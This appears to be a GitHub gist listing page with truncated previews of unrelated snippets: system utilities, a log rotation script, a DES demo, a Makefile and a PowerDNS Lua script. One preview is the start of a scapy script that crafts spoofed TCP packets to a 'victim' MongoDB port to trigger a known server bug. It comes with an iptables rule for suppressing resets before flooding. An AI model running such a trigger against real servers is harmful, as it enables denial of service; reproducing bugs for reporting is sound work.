This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pid_t waitpid_core_once(pid_t pid, int *status, int options) | |
{ | |
int status_holder; | |
pid_t retval; | |
if (!status) | |
status = &status_holder; | |
retval = waitpid(pid, status, options); | |
if (retval > 0 && WIFSIGNALED(*status) && WCOREDUMP(*status)) { | |
struct rlimit core; | |
memset(&core, 0xFF, sizeof(core)); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
digraph routing { | |
subgraph interfaces { | |
node [shape = folder]; | |
host_if_inet; | |
host_if_lxc; | |
lxc_if; | |
lxc_if; | |
} | |
lxc_default_route [label = "default route"]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# @see http://opengarden.com/senior-software-engineer.php | |
# @see http://xkcd.com/287/ | |
from itertools import combinations | |
l = [ | |
18897109, | |
12828837, | |
9461105, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import sys | |
import re | |
import os | |
import socket as s | |
import time | |
import struct | |
# Per packet rx_queue & tx_queue (SO_RCVBUF, SO_SNDBUF) utilisation according to /proc/net/raw{,6} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
exec 2>/dev/null 1>/dev/null | |
export PATH=$PATH:%%PREFIX%%/bin | |
logdir=/var/db/mongodb | |
suffix=.bz2 | |
prefix=mongod.log. | |
selflog=${prefix}rotate.`date +%Y-%m-%d` | |
days_to_keep=14 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# scapy script to trigger bug in mongod / mongos: https://jira.mongodb.org/browse/SERVER-9109 | |
# | |
# Do $(iptables -I INPUT -p tcp --dport 12345 -j DROP) at vm host before flooding. | |
vm = '1.2.3.4' # src | |
victim = '9.8.7.6' # dst | |
def f(): | |
syn = IP(src=vm, dst=victim)/TCP(sport=12345, dport=27017, flags="S") | |
sa = sr1(syn) | |
ack = IP(src=vm, dst=victim)/TCP(sport=12345, dport=27017, seq=sa.ack, ack=sa.seq+1, flags="A") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
from Crypto.Cipher import DES, DES3 | |
import struct | |
def run(des_k1): | |
shown_to_user = [] | |
print "==> Shown to user" | |
for i in xrange(5): | |
enc_i = struct.unpack('>Q', des_k1.encrypt(struct.pack('>Q', i)))[0] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SHELL=/bin/bash | |
OUT=echosrv.x86_64 echosrv.mips | |
CFLAGS=-Wall -Wextra -Wpedantic -O2 | |
.PHONY: all clean upload | |
all: $(OUT) | |
clean: | |
rm -f $(OUT) | |
echosrv.x86_64: echosrv.c |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- uses PowerDNS 4.x, does not work with 3.x | |
function getnum ( domain ) | |
domain = domain:lower() | |
ttl, count = string.match(domain, '^(%d+)%.(%d+)%.rnd%.darkk%.net%.ru%.$') | |
if ttl ~= nil then | |
return tonumber(ttl), tonumber(count) | |
end | |
count = string.match(domain, '^(%d+)%.rnd%.darkk%.net%.ru%.$') | |
if count ~= nil then |
OlderNewer